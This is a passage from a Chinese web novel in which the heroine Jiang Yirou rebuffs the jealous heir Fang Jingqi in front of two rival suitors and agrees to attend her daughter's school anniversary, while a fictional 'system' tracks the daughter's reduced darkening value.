方镜麒转过身,愣愣地看着门口处的方隐年,然后瞬间爆炸了。 “姜以柔,你叫他来做什么?!”方镜麒瞠目欲裂。 妈的,他都差点把方隐年也喜欢姜以柔的事儿忘记了,现在却偏偏要提醒他。 方镜麒垂在身侧的左手死死捏紧,凤眸里拉满了血丝,整个人就像是一张绷到极致的弓弦,随时可能崩溃。 第73章 方镜麒从天台上愤然离去后, 方隐年其实一直暗中跟着他,一路跟到了姜以柔家楼下。 他坐在车里,仰头静静地看着姜以柔家的窗户。 那一刻, 他也不知道自己在想什么。 他似乎再也没有立场去阻碍侄子追求爱情。毕竟,他也可耻地动心了,又凭什么再说姜以柔配不上镜麒呢? 那……如果镜麒真的追到了她, 他难道该送上祝福吗? 方隐年缓缓闭上眼睛, 唇角漫开一个有些苦涩的弧度。 他的心像是被一只无形的大手狠狠攫住,等待的每一分每一秒都是煎熬。 直到他接到了来自姜以柔的信息。 姜以柔让他赶紧来带方镜麒回去。 方隐年心头一跳, 不自觉攥紧了手机,用力到指节泛白,几乎将手机捏碎。 很显然, 这意味着姜以柔拒绝了方镜麒。 他面色沉凝, 抿着唇久久未语,狭长的凤眸中是急剧变幻的复杂情绪,最后化成一片苍凉的荒芜。 方隐年垂首揉了揉眉心,浑身都笼罩着一股低气压。 意识到姜以柔拒绝了镜麒的一瞬间, 他心里竟觉得庆幸。 他怎么能如此无耻? 这一瞬间, 方隐年清晰地窥见了自己心里的阴暗。他曾经坚守的底线,似乎在见过那个美艳如妖的女人后,就被无情地碾碎。 他感觉得到, 他在一刻不停地坠向深渊。 方隐年微微躬起身,胸膛急剧起伏着, 仿佛每一次呼吸都拉扯着刻骨的痛意。 他缓缓收紧双手, 手背上迸出隐忍的青筋,眸色幽深不见底。 他还能忍多久呢? 方隐年不愿深想。 车子的前排,苏正担忧地透过后视镜瞄着自家老板, 见他脸色如此难看,还是忍不住担心地问道:“方总,您没事吧?” 方隐年缓缓睁开眼睛,那双凤眸依旧沉静而深邃,将他所有翻涌的挣扎统统藏入深处。 方隐年没有回答苏正的关心,只开门下了车,径直往姜以柔家里走去。 然后便有了现在这混乱的一幕。 方隐年站在姜家门口,眼神不受控制地落到姜以柔身上,她依旧很美,此刻的她更多了几分撩人的媚意,如同沾了雨露的玫瑰,更加娇艳欲滴。 她正被那个叫谢凛的男人搂在怀中,柔弱得勾人采撷。 方隐年立刻想到了不久前的那通电话。 她吩咐他去学校跑腿处理女儿的事情,自己倒是跟别的男人寻欢作乐…… 想到那些不堪入耳的动静,方隐年眸色骤然暗沉下来,可与此同时,他的喉结却也不受控制地滚动了下。 方隐年深吸一口气,开口时嗓音有些紧绷,哑声道:“镜麒,跟我回去吧。” 方镜麒像只发怒的狮子,猛地回头冲方隐年吼道:“滚!别来管我!” 在方镜麒回身怒吼的一瞬间,方隐年瞳孔骤缩——他看清了侄子脸上青紫的伤痕,十分触目惊心。 方隐年瞬间沉了脸,他快步走上前,抬手便要检查他脸上的伤势,却被方镜麒一扭头避开。 方镜麒拧眉瞪着他,态度极其恶劣,“你少来假惺惺!” 方隐年深吸一口气,沉声道:“别闹了,镜麒,先去医院。” 他望向方镜麒的右臂,石膏上都沾了灰尘,绷带也蹭的歪歪扭扭,很难不让他担心。 方隐年随即沉着脸望向那个叫谢凛的男人,眼神冷得仿佛淬了冰。 他知道,一定是这个人打伤了侄子。 谢凛漫不经心地同他对视一眼,扯了扯唇角,冷声道:“他自找的。” 方隐年和谢凛互不相让地对视着,那股凌厉的杀气几乎凝成实质,空气都仿佛稀薄了,让人难以呼吸。 方隐年一心想给侄子出头,方镜麒却根本不在乎。 方镜麒的眼里只有姜以柔,他眼尾泛红,颤着嗓子质问道:“你为什么叫方隐年来?你该不会也喜欢他吧?” 姜以柔挑了挑眉梢,精准地从他的话语中捕捉到了关键字,“也?” 她玩味地咀嚼着这个“也”字,再望向方镜麒时多了几分了然的笑意,“你知道方隐年喜欢我的事了?” 姜以柔说得坦坦荡荡,语气里甚至还带着调侃,丝毫不顾方隐年此时就在旁边,毫不留情地当众揭了他的老底。 姜以柔心里有些遗憾——方镜麒知道方隐年心思的时候,反应一定很有趣吧。 可惜没能看到这场好戏。 姜以柔看热闹不嫌事儿大地想道。 她这番话一说出口,在场所有人都僵硬了一瞬。 方隐年呼吸一滞,刚才面对谢凛时盛气凌人的气势都弱了几分。 她知道了,她知道自己喜欢他。 他垂在身侧的手微微颤了下,身体也骤然绷紧。他没有转头去看姜以柔,目光不知落在何处。 可他控制得了自己的眼神,却控制不住那颗砰砰乱跳的心。 这一瞬间,方隐年几乎有种自己在告白的紧张感。 下一秒,姜以柔带笑的嗓音响起,还带着几分好奇,“你是怎么知道这件事的?” 这句话犹如一盆冷水兜头泼下,方隐年的心瞬间冷了下来。 这含着笑意、甚至带着些玩味的语气,无一不证明了——姜以柔早就知道他喜欢她。 而她……根本毫不在意。 方隐年面无表情,心脏却感受到了撕扯的痛意。 面对姜以柔好奇的询问,方镜麒俊脸微沉,生硬地说道:“你不用管我怎么知道的!总之,姜以柔……你不准喜欢他!” 方镜麒紧紧地盯着她,面色有些紧张地等待着她的回答。 方隐年的眸光落在别处,似乎没听到他们的对话,可手心却几乎被掐出了血痕。 谢凛腮侧微鼓,狠狠咬着牙,眼神冷厉得像是蓄势待发的野兽,但凡姜以柔敢说一句喜欢,他就会冲上去拧断那个男人的脖子。 三个男人同时等待着姜以柔的回答,空气近乎凝滞了。 然而,姜以柔却只是轻轻笑了一下,什么都没说。 这一声笑又轻又柔,像是带着撩人的钩子,让所有人的心都乱了。 方镜麒最年轻也最沉不住气,当即咬着牙质问道:“你笑是什么意思?把话说清楚!” 她到底会不会喜欢方隐年?还是说……现在已经喜欢他了?! 方隐年和谢凛之间的气氛一度很微妙,剑拔弩张,却又互相忌惮。 方隐年深吸一口气,竭力平复着因为姜以柔的一声笑而躁动的心。 明明姜以柔什么都没说,却只用一道轻轻的笑意,就将他们三个男人钓得心绪不宁、七上八下。 恐怕全世界也只有她一个人有这种本事了。 姜以柔耸了耸肩,懒散地说道:“我只是觉得你说的话很无聊而已。” 果然还是小孩子,竟然会提出不准她喜欢别人的要求。 可惜的是,她素来想喜欢谁就喜欢谁,想喜欢几个就喜欢几个。 谁都管不了。 “你……”方镜麒被她气得呼吸不稳,又要炸毛。 方隐年眸光一凛,看出了姜以柔漫不经心之下那玩味的态度,不想再被她牵着鼻子走,便直接上前抓住了方镜麒的手臂,沉声喝道:“跟我回去,立刻!” 可方镜麒满脑子都是姜以柔那个意味不明的笑,以及含糊的敷衍,他红着眼睛执拗地瞪着她,一心要一个答案,“我不走!姜以柔,你说话啊!” 跟方隐年的深沉和谢凛的寡言相比,方镜麒实在太过直白,也太过热烈,他好像从来不知道隐藏自己的心思,像追逐太阳一样追逐着姜以柔。 哪怕会被灼伤,也绝不放手。 接下来的十几分钟,姜家不大的客厅里陷入了前所未有的吵闹。 方隐年想要带侄子离开,可方镜麒发疯般挣扎着不肯,谢凛忍无可忍地出手想要强行将他扔出去,方隐年又会及时护着侄子,不让谢凛伤害他。 一群闹了许久都没个结果,姜以柔只觉得脑子都快炸了。 良久,姜以柔被他缠得没办法了,有些无奈地叹了口气,突然说道:“我亲你一下,你就别闹了,行吗?” 姜以柔终究是心软了——这小子好歹为她断了条手臂,都闹这么长时间了,就给他点甜头吧。 此话一出,空气骤然安静。 不等众人反应,姜以柔很干脆地踮起脚尖,在方镜麒的侧脸上蜻蜓点水地亲了一口。 姜以柔摸了摸他短短的发茬,跟哄小孩似的哄道:“好了大少爷,快跟你小叔回去吧,处理下你的伤。” 姜以柔实在是随心所欲,竟然就这般当着另外两个男人的面,直接亲上了方镜麒。 丝毫不顾这样做会引发什么可怕后果,就这样随手点燃了两个男人疯狂的嫉妒心。 方镜麒整个人都僵住了,神情恍惚得如坠梦中,这是他今天最为安静的一刻。 方隐年微微一怔,不由得绷紧了唇角。姜以柔吻上方镜麒的那一幕,如同慢镜头一般在他脑海里回放。 他闭了闭眼睛,他也不知道此时心里浓烈得几乎要爆炸的情绪到底是什么。 但总之……绝不是为他的侄子开心。 另一边,谢凛在短暂的愣怔后,面色倏地阴沉下来,蕴着风雨欲来的压迫。 他再也忍不住,上前一把揪住方镜麒的后衣领,粗暴地直接将他往门口扯。 谢凛神情阴戾,满心怒火。 既然他不肯走,直接扔出去不就行了?用得着姜以柔做到如此地步吗?! 方镜麒被他拽得身形不稳,同时也终于回过神来,他一边挣扎着冲向姜以柔,一边用直白火热的眼神盯着她。 “姜以柔……咳咳!”方镜麒几乎被谢凛勒得喘不过气来,脸都涨红了。 可素来不肯吃亏的他却顾不得还手,满心满眼只有姜以柔。 方隐年也倏然回神,他立刻上前挡住了谢凛的手臂,将侄子从窒息中救了下来。 这边方隐年和谢凛互相牵制着,方镜麒得了空挡,直接冲到姜以柔的面前。 方镜麒眸光灼灼地盯着她,每一道急促的喘息都携着滚滚热意,他哑声道:“姜以柔,选我。” “他能给你的,我都能给你!”方镜麒急切地说道,字句中满是认真。 被方镜麒当着面撬墙角,谢凛的面色沉得几乎能滴出水来。但此时此刻,他反倒冷静了下来,一双漆黑的眸子冷冷地盯着姜以柔。 他在等姜以柔的回答。 姜以柔看着方镜麒稚气未脱的英俊脸庞,轻轻地叹了口气。 她温声说道:“方少爷,我已经有一个女儿了,不需要再有一个儿子。” 话落,方镜麒怔住了。 等反应过来姜以柔话中的意味后,方镜麒脸上的血色瞬间褪去,踉跄得几乎站不稳。 他宁愿姜以柔拒绝他,也不想让她用如此温柔的语气,说出这般残忍又无情的话。 她……甚至根本没有把他当成一个男人,而只把他当成一个幼稚的孩子。 他的所有悸动和追逐,在她眼里都是笑话。 这一刻,方镜麒的骄傲被踩得粉碎。 向来飞扬跋扈的方大少,此时却连大喊大叫的力气都没了。 他怔怔地看着姜以柔,那双漂亮的凤眸几乎没了焦距,那泛红的眼眶和茫然的眼神,明明白白地写着心碎。 房间里一时间针落可闻,只有方镜麒粗重的呼吸格外清晰。 他仿佛痛极了,每一次喘息都用尽了全身力气,扯着心脏传来阵阵刺痛。 方镜麒紧紧咬着唇,唇上转瞬就渗出了殷红的血,他最后狠狠地瞪了一眼姜以柔,一句话都没说,转身踉跄着跑远了。 姜以柔看着他的背影,忍不住轻轻叹了口气。 虽说终于把这位难缠的大少爷打发走了,但她的话似乎说得太重了。 她回想着方镜麒最后那个心碎又委屈的眼神,只觉得心底涌上一股浓浓的疲惫。 她想睡觉了。 姜以柔想回卧室睡觉,却突然发现—— 方镜麒是离开了,但是方隐年竟然还在。 方隐年杵在原地,直勾勾地凝视着她,狭长的眸中翻涌着复杂的暗色,几乎能将人吞噬。 姜以柔淡定地回视他,漫不经心地笑了笑,说道:“方总,你也需要我亲你一口才肯走吗?” 她话音刚落,在场仅剩的两个男人齐刷刷地变了脸色。 第74章 方隐年不得不承认, 在姜以柔说“亲他一口”的时候,他可耻地心跳加速了。 明知道这个女人没有心,总是以戏弄他为乐, 他却总是不长记性,永远会为她随口的一句撩拨而自乱阵脚。 方隐年痛恨自己的没出息。 他抿了抿唇,强压下心底那异样的感觉, 语气平静地说道:“如果镜麒再来骚扰你, 就联系我。” 方隐年仍旧是那副平静无波的表情,他就像一汪深不可测的深潭, 永远将情绪都掩藏在湖面之下。明明才经历了那样混乱的闹剧,此时倒是像没事儿人一般。 不知为何,姜以柔一看到他这般端着架子, 就总想故意说点什么撩拨他。 好像看方隐年失控, 已经成了她的一大乐趣。 姜以柔眯了眯眼睛,笑得慵懒而随意,说道:“那如果方少爷不来骚扰我的话,我还能联系你吗?” 方隐年闻言不由得心里一哂——难道她平时少麻烦过他吗? 哪次不是心血来潮了, 一个电话就把他安排得明明白白, 比唤狗还随意。 偏偏他也是犯贱…… 方隐年深吸一口气,语气生硬地答道:“随你。” 姜以柔的明知故问,摆明了是在戏弄他。 方隐年不想继续被她牵着鼻子走, 转过身便要离开。 在他即将跨出门的那一刻,姜以柔抱着手臂, 娇声喊道:“方总, 我和方少爷之间,你会向着谁啊?” 方隐年匆匆离去的脚步一滞,高大的身形有一瞬间的僵硬。 片刻后, 他继续迈步,很快就彻底消失了。 他一句话都没说,仿佛没听到姜以柔的话。 背影却似乎有几分落荒而逃的狼狈。 姜以柔好整以暇地回味着他略显狼狈的背影,相当愉悦地勾了勾唇角,像只恶趣味的狡猾狐狸。 随即她打了个哈欠,转身打算回房休息,下一秒却猛地顿住了。 她一转身就对上了谢凛面无表情的俊脸,他眉眼沉凝,蕴着风雨欲来的怒意。 姜以柔刚才一时忘形,只顾着调戏方隐年了,倒是差点忘了谢凛还在旁边看着。 不过,姜以柔竟然不见丝毫心虚,十分坦然地对谢凛说道:“我好困,先睡了,你也赶紧回去吧。” 谢凛面色阴沉,垂在身侧的手隐忍地捏成了拳。 姜以柔一边打着哈欠,一边往自己的卧室走去。然而在她经过谢凛身边时,却被他猛地攥住了手腕。 谢凛微垂着头,黑色额发散落,盖住了他阴鸷的眉眼,但那紧绷的唇角昭示着他正处于爆发边缘。 他薄唇微启,沙哑的嗓音吐出几个字:“为什么?” 为什么她可以在刚跟他缠绵后,转头又对别的男人抛出橄榄枝? 为什么她甚至能心安理得地当着他的面去做这一切? 她到底拿他当什么? 谢凛越发失控,攥着她腕子的手不断收紧。 姜以柔立刻皱起了纤秀的眉,埋怨地惊呼一声:“痛!” 这含嗔带怨的一声娇呼,让谢凛瞬间松了手掌,然后他几乎是条件反射地轻轻揉着她的手腕—— 简直已经将伺候她这件事刻入了本能。 意识到这一点后,谢凛给她揉腕子的动作一僵,忽然有种浑身脱力的感觉。 良久,他扯出一个自嘲的笑意,几乎带了些认命的无奈。 或许,她就是知道自己既离不开她,又舍不得动她,才会如此肆无忌惮吧。 他确实栽了,栽得彻彻底底。 所以活该被她玩弄于掌心。 谢凛面无表情,一颗心冷得像是泡在冰水里。 姜以柔大概是良心发现了,终于凑过来哄谢凛。 她轻轻环住那精壮的腰身,踮脚在他唇上亲了一口,笑嘻嘻地说道:“你生气啦?就因为我刚才亲了方镜麒一口?” “哎呀,我只是亲了一下他的脸嘛,而且我是为了赶紧打发他走,我对那种小屁孩可没兴趣……” 姜以柔将脑袋贴在他的胸口,乖顺得像只猫,当她扬起脸盯着你时,那双潋滟的眸子能融化世界上所有的坚冰。 看到她的脸,不会有人舍得再生她的气。 谢凛垂眸静静地凝视她,幽黑的眼眸中是浓烈得几乎要崩溃的复杂情绪。 但最终,却只化作一片妥协的沉寂。 谢凛长臂一横,将姜以柔用力揽进怀中,力道大得恨不能将她融进骨血中。 仿佛这样才能牢牢地抓住她。 谢凛紧紧抱着她,呼吸粗重得像是濒死的兽,每一次喘息都牵扯着剧烈的心痛。 然后,出乎姜以柔意料的是,谢凛竟然没再说什么,兀自抱了她一会儿后,就松开她走向厨房。 “我收拾一下,你去睡吧。”谢凛头也不回地去了厨房,哑声说道。 他收起餐桌上的碗盘,放进水池中,开始熟练地收拾卫生。 姜以柔盯着他的背影,有些意外地挑了挑眉梢,似乎没想到他这么快就被哄好了。 还以为他又要因为吃醋而折腾她一番呢。 姜以柔耸了耸肩,倒是乐得见到这种情况,不甚在意地转身离开了。 厨房中。 谢凛默默地洗着碗,他睫羽微垂,在眼底落下一片阴影,显得那双眼睛格外阴沉。 谢凛的面上没什么表情,洗碗的动作有条不紊,甚至透着几分斯文。 只有他自己知道,他现在心里想的…… 全是怎么弄死那对碍眼的叔侄。 既然他舍不得教训姜以柔,那就只能想办法把围在她身边的那群苍蝇都碾死了。 有一个算一个,他全都不会放过。 谢凛唇角紧绷,眸色阴沉,不知想起了什么,手上不自觉用力—— “嚓”的一声脆响,一个茶杯被谢凛硬生生捏碎了。 瓷片扎进掌心,鲜血顺着水龙头里的水落下,混成一片触目惊心的淡红色。 谢凛似乎才回过神来,他抬手看了眼掌心的伤口,接着随便扯了两张卫生纸按在伤口上,根本没将这点伤放在心上。 他甚至若无其事地把剩下的碗盘也冲洗完了。 至于手上的伤口,他按了一会儿后见不在流血,就懒得管了。 谢凛神情冷淡地走出厨房,扬手一抛—— 那团沾了血的卫生纸被他精准地扔进垃圾桶。 * 另一边,姜以柔正要回卧室睡觉,路过姜父姜母的卧室时,陡然想起了什么。 她之前让姜父姜母进屋呆着,还嘱咐他们没有她的允许,先不要出来—— 她竟然差点忘了这件事! 姜以柔赶紧去敲了敲便宜父母的卧室门。 里面的两个老人仿佛得了赦令一般,迅速冲出门,抓住姜以柔就是好一通打量,紧张地关心道:“没事吧?” 天知道他们刚才有多担心,既想冲出来阻止他们打起来,又碍于闺女的吩咐不敢妄动,两人在卧室门口急得团团转。 姜父甚至还贼兮兮地把耳朵贴到门上,结果他年纪大了耳背,只能听到模模糊糊的动静。 他们一直煎熬着,现在终于能出来了。 姜以柔若无其事地笑道:“没事了,他已经回去了。” 姜父偷偷瞥了眼周围,见谢凛不在附近,便压低声音严肃地问道:“你跟我说实话,你跟刚才那个小伙子是什么关系?” 姜以柔拢了拢外套,淡定地说道:“没什么关系。” 姜父一脸的欲言又止,最后恨铁不成钢地叹了口气,说道:“闺女,咱可不能干违法的事儿啊!人家孩子还没成年呢……” “停停停——”姜以柔满脸无语地打断他的话,“你们别乱想了,我跟他真的没关系。” 姜父姜母知道管不了她,只能一脸忧心忡忡地叹气,委婉地提醒道:“小谢是个好孩子,你可千万别对不起人家啊!” 对此,姜以柔只回以漫不经心地一笑。 她跟谢凛又没什么关系,何谈对不对得起? 她的便宜父母就是见识太少了。算了,等以后多带几个“女婿”回来见他们,早晚会习惯的。 恰在此时,谢凛洗完碗来到了客厅。 姜父姜母一见到准女婿,脸上立刻显出几分心虚,这两位老实人远没有自家闺女心理素质强。 谢凛并未注意到他们的异样,只对着姜以柔淡声道:“我今晚的飞机去外市。” 闻言,姜以柔有些意外地问道:“去做什么?” 谢凛瞥她一眼,言简意赅道:“工作。” 姜以柔愣怔一瞬。 谢凛之前确实说过,他要出差一趟。但姜以柔还以为,在经过今天这一出闹剧之后,他会寸步不离地看着她,省得她被别的男人叼走呢。 姜以柔眨了眨眼睛,总觉得谢凛现在的状态有点奇怪,忍不住试探地问道:“你放心吗?” 谢凛沉默了一会儿,他眼瞳微颤,谁都不知道他这一刻在想什么。 良久,他哑声说道:“我会尽快回来的。” 他当然不放心,当然不舍得。 但如果一直这样下去,他恐怕永远都只能眼睁睁看着姜以柔身边的男人来来去去…… 而他却没能力做什么。 他从未如此渴望过权势,只有拥有绝对的权势,才能独占这一抹艳色。 谢凛深吸一口气,上前几步狠狠抱住了她,再一次轻声重复道:“我会尽快回来的。” 姜以柔乖巧地缩在他怀中,可有可无地“嗯”了一声。 当天晚上,谢凛就匆匆离开了。 姜以柔只站在家门口目送他离开,看着他渐渐远去的背影,她不由得摸了摸自己的腰。 然后她不由得长出一口气。 太好了,终于能歇一歇了。 就在谢凛匆匆离开后不久,她的便宜闺女放学回家了。 姜以柔今天没能亲自去学校帮她撑腰,这时候便细细地询问她情况。 姜渔放下书包,坐到餐桌前,一边吃着姥姥姥爷留给她的饭菜,一边有一搭没一搭地应着姜以柔的询问。 如果说一开始的姜渔像只警惕的刺猬,那么现在的姜渔更像只傲娇的猫,虽然时不时会炸毛,但乖巧多了。 就连姜以柔使唤她跑腿,她虽然绷着脸一副不开心的样子,但总会老老实实地去做。 此时面对姜以柔的关心,姜渔如实地把校方的处理结果说了出来。 姜以柔听得满意地点点头,“方隐年还有点用处嘛!” 听她提起方隐年的名字,姜渔动作一顿。她抿了抿唇,半晌才低声问道:“你跟那个姓方的男人……在一起了?” 姜以柔随意地摆摆手,果断否认了:“没有。” 姜渔轻咬下唇,幽幽地盯着她,追问道:“那他怎么自称我的家长?” 姜以柔不甚在意地说道:“事情紧急,他随便说的。放心吧小渔,这都是权宜之计。” 姜渔有一搭没一搭地戳着碗里的饭,头埋得低低的。 就在姜以柔打算回房睡觉的时候,她突然闷声道:“你说的话,还算数吗?” 姜以柔疑惑地问道:“什么话?” 姜渔脸色微红,一副很难堪的模样。她几乎将嘴唇咬出血来,良久才鼓起十二分的勇气道:“就是……不管你以后跟谁在一起,都不能再扔下我。” 姜以柔愣了一瞬,不由得绽开一个明媚的笑意:“当然算数!” 姜以柔走上前,温柔地摸了摸便宜闺女的脑袋,郑重承诺道:“小渔,你放心,妈妈不管去哪儿都会带着你的。” 姜渔怔怔地仰头看着那张美丽的面庞,她嘴角微微抽动了一下,似乎是想笑,又被她死死压制住了。 姜渔深吸一口气,尽量镇定地开口道:“还有姥姥姥爷。” 姜以柔挑了挑眉,失笑道:“对,还有他们。我们一家人会一直在一起的。” 姜渔眼睛亮晶晶地看着她,什么话都没说。 这时,姜以柔脑海里已经响起了系统666特意放出的烟花声效: “哇啊啊啊!恶毒女配姜渔的黑化值再度降低,此时只剩20%啦!!!” 姜以柔并没有像往常那般跟666炫耀自己的胜利,她依旧专注地凝视着姜渔。 想到她最近查到的关于她亲生父亲的事,姜以柔望向她的眼神里多了几分怜惜。 可怜的孩子,何必为了一个人渣父亲而搭上自己的一生呢? 好在,她的命运不会再那样悲惨了。 姜渔仰着头,定定地看了姜以柔好一会儿,突然低头开始翻书包。 过了一会儿,她有些迟疑地将一个精美的信封递给了她。 “这是什么?”姜以柔笑着接过,有些好奇地打量着它。 姜渔深吸一口气,答道:“圣维尔学院的五十周年校庆邀请函。” 姜渔一直很后悔,之前开家长会的时候,因为她的胆怯和犹疑,没能亲手将家长会邀请函送给姜以柔。 现在,她鼓起勇气,小心翼翼地把校庆的邀请函送了上去。 姜渔紧张地咬了咬唇,垂着眼眸不敢看她,低声问道:“你能陪我参加校庆吗?” 每次遇到这种大型活动,她的同学们都会有家长陪同。姜渔虽然一直表现得冷漠且不在意,但实际上……她也偷偷羡慕过。 姜渔很想知道,有妈妈陪着参加这种活动,是什么感觉。 姜以柔毫不犹豫地答应了:“当然可以了!” 姜渔眼睛一亮,喜色溢于言表,很快她脸上又显出几分迟疑,问道:“对了,校长让我问问你……愿不愿意在校庆的时候作为家长代表发言。” “家长代表?”姜以柔指向自己,“我吗?” 姜渔默默地点点头。 姜以柔眨了眨眼睛,沉思道:“也不是不行……” 姜渔挠了挠脸颊,神情依旧有些不安,说道:“但是……圣维尔的校庆都会直播的,素来在网上热度都很高。” “会不会给你惹麻烦啊?”姜渔偷偷觑着她的脸色。 “直播啊……”姜以柔若有所思地眨了眨眼睛,“应该没什么问题……吧?” 姜渔:“……” 想起姜以柔在他们班露面后产生的一系列风波,姜渔不由得沉默了。 第75章 对于所谓的圣维尔校庆, 姜以柔倒是没想太多,耸了耸肩说道:“那就去吧,直播也没什么影响。” 便宜闺女还是第一次对她提要求, 怎么能不给面子呢? 姜以柔抬手摸了摸姜渔的发顶,原本干枯泛黄的头发已经变得柔软有光泽,摸起来毛茸茸的, 手感很不错。 姜以柔轻笑着说道:“放心吧, 小渔,到时候妈妈一定会给你长脸的!” 闻言, 姜渔嘴角微抽:“我倒是不担心这个……” 相反,她比较担心的是姜以柔太给她长脸了…… 现在只有她们班的学生见过姜以柔,她就已经有了“太受欢迎”的苦恼, 她有点不敢想象, 如果全校的人乃至全国的人都看见了她妈妈…… 那又会是个什么光景。 不过圣维尔学院的校庆远在半个月之后,不需要她现在就操心那么多。 当晚,姜以柔回到卧室后,系统666兴冲冲地跟她聊起了校庆的事情。 “宿主, 其实在原著里, 校庆是很重要的一个情节哦!”666兴奋道,“前几天女主乐柠过生日时,男主方镜麒因为吃男二号赵承的醋, 跟乐柠闹了别扭,小情侣一直在冷战。” “直到校庆的时候, 恶毒女配姜渔试图陷害乐柠, 故意弄坏了乐柠的礼服想让她无法登台表演,男主骑着机车为乐柠送来新的礼服,两人就此重新和好……” “这一段剧情可是小说里的高潮呢, 就是恶毒女配姜渔又做了女主的垫脚石,不但阴谋没成功,还被记了过,她的黑化程度又加深一层……宿主,到时候你可得小心点,千万别让姜渔有黑化的可能!” 姜以柔在床上翻了个身,眼睛都不睁地说道:“你觉得以现在的情况,还需要担心所谓的原著剧情吗?” 小男主方镜麒都上赶着给她当狗了,还用得着怕他针对自己的便宜闺女? 系统666:“……” 无法反驳。 系统666发出崩溃的声音:“所以,男主到底为什么会这样啊啊啊?!!!” 姜以柔酣然入睡,完全不搭理666怀疑人生的嘀咕。 其实666念叨着的男主方镜麒,此时状态并不好。 先前,方镜麒被姜以柔一句话打击得不轻,浑浑噩噩地冲出了她家门。 他甚至不知道自己是如何走到楼下的,仿佛整个人灵魂都被抽空,只留下一具无用的躯壳,手脚都不是自己的了。 方镜麒面容惨白,衬得脸上青紫的伤痕越发触目惊心,那双漂亮的凤眼红通通的。 方大少难得收敛了那身嚣张跋扈的傲气,浑身透着股消沉的死气。 他一走到楼下,苏正就连忙下车迎上前。 苏正打量着大少爷脸上的伤口,只觉得心惊肉跳,他硬着头皮说道:“方少,我们现在去医院吧……” 苏正原本以为,方镜麒还会像以前那般难缠,可出乎他意料的是,他竟然没有反抗,顺从地跟他上了车。 苏正心里一喜,连忙给司机使眼色,汽车载着他们直奔医院。 方总吩咐过了,让他直接带着少爷去医院,免得少爷看见方总后情绪激动。 两人坐在车上,苏正目不斜视地盯着前方,眼观鼻鼻观心,一句话都不说,生怕一个不小心触了方大少的霉头。 不过……苏正还是忍不住偷偷瞄了方镜麒一眼。 方大少这状态……有点怪啊,那么像失恋了呢? 方镜麒侧头盯着车窗外飞速后退的景色,纤长浓密的睫羽微微垂着,显得那双狭长漂亮的凤眸格外阴郁。 他唇角紧绷,良久突然问道:“她经常找方隐年吗?” 苏正心头一跳,讪笑着想打马虎眼,“方少,您在说什么呢……” 方镜麒缓缓转过头,面无表情地盯着苏正,那双凤眸如同寒冬的深潭,又沉又冷,溢着森然的杀意。 苏正浑身一僵,竟有种被蛇盯上的毛骨悚然的感觉。 苏正不由得咽了咽口水,泄气地全招了:“其实姜小姐也没有经常找方总,她只有在缺钱了,或者遇到麻烦的时候……呃,才会给方总打电话。” 苏正越说越心虚,额上都直冒冷汗。 我靠,怎么越说越觉得,他们方总也是个被用完就扔的工具人。 苏正偷偷瞄了方镜麒一眼,面上的同情之色更甚——他们家少爷还比不上方总呢。 至少方总对姜小姐来说还有点用…… 方镜麒面无表情地听完苏正的话,突然轻轻笑了一声,只是唇边的弧度有些苦涩。 不知是在笑方隐年,还是在笑他自己。 方镜麒浑身脱力般靠在椅背上,一颗心犹如泡在苦水中,满是煎熬。 他既庆幸姜以柔目前还没有喜欢上他小叔,同时心里又升起种无力和愤怒。 明明是他先认识她的,可为什么她对别的男人总是更依赖?! 她遇到麻烦后会找那个叫谢凛的男人,也会找方隐年,可就是从来没有找过他…… 方镜麒痛苦地闭了闭眼睛,脖颈处青筋隐现,似乎忍得很艰难。 良久,他突然哑声问道:“我很幼稚吗?” 他对姜以柔那句“不需要再有一个儿子”耿耿于怀,所有的骄傲和自尊都在那一刻被碾得粉碎。 面对自家少爷的灵魂质问,苏正一时间哑口无言,陷入了长久的沉默。 苏正嘴角微抽—— 我的少爷啊,你幼不幼稚,你自己心里没数嘛?! 当然,苏正不敢把实话说出来,他轻咳一声,委婉地说道:“少爷,您还在成长……” 方镜麒冷嗤一声,显然看透了他的敷衍。 苏正讪笑一声,剩下的恭维全吞进了肚子里,不敢再说话。 方镜麒静静地看着窗外,突然再次开口道:“喂,你说……怎么才能让她喜欢上我?” 苏正:“……” 苏正的脸色跟吃了屎一样难看,后背的衣物都快被冷汗浸透了。 少爷,我还是喜欢您以前桀骜不驯的样子,而不是现在让我当你的恋爱军师…… 方镜麒转过头,幽幽地盯着苏正,他下颌微扬,狭长的凤眸里仍带着居高临下的傲气,紧盯着苏正时,有种不达目的誓不罢休的强势。 苏正在心里叹了口气,实在拿这位任性的大少爷没辙,只能硬着头皮开口道: “方少,像姜小姐这样的成熟女性,大概更喜欢成熟的、能带给她安全感的男人,要不……您过几年再试试?” 苏正没好意思把话说得太直白——想也知道姜以柔一个单身妈妈带着孩子有多不容易,人家要选也肯定选方总这样可靠的男人,谁有空陪一个没成年的大少爷过家家啊?! 方镜麒闻言瞬间怒了,恶狠狠地瞪着苏正,厉声道:“过几年再试?” “那黄花菜都凉了!”方镜麒冷冷地翻了个白眼。 姜以柔身边从来不缺男人,再过几年她哪里还记得他?! 说不定她倒真成了他小婶了! 苏正讪讪一笑,随即试探着继续出主意:“要不……少爷您尽量表现得成熟稳重一点?说不定姜小姐就对您心动了……” 方镜麒不耐烦地皱了皱眉头,沉声道:“我当然知道要表现得成熟稳重点!” 姜以柔不就是嫌他幼稚不成熟吗?但关键是—— “所以,到底怎么才能看起来成熟稳重?!”方镜麒紧紧盯着苏正,狭长的凤眸中燃着旺盛的求知欲。 苏正咽了咽口水,心一横,说道:“要不……您先从别乱发脾气开始做起?!” 方镜麒愣了一瞬,随即恼羞成怒地喊道:“我哪里乱发脾气了?!你……” 苏正就这么幽幽地盯着他,不再说话。 方镜麒蓦地意识到了自己的失态,一下子噎住了,他脸色阴晴不定地变幻许久,终于不情不愿地嘀咕道:“好吧,以后我会注意的……” 闻言,苏正惊讶地打量着方镜麒。 像是没想到素来无法无天的魔王少爷,竟然真有反思自己的时候! 难道说……这就是爱情的力量? 接下来,苏正觉得一切顺利得不可思议。 他们很快就到了医院,好几名医生立刻上前给方镜麒做检查和上药,而方镜麒竟异常的配合,不见丝毫不耐烦。 方镜麒任由医生们摆布自己,自己的思绪则不知飞到哪里去了。 他剑眉微拧,怔怔出着神,不知道在琢磨什么。 苏正一直陪在他身边,随时跟方总汇报少爷的身体情况。他偷偷瞄了两眼方镜麒,不知为何,总感觉这位大少爷在憋大招…… * 第二天,圣维尔学院。 姜渔一到学校,就又被同学们团团围住了。 “小渔,你妈妈到底来不来参加校庆啊?”一名女生眼睛亮闪闪地问道。 “对啊对啊,她来不来呀?” 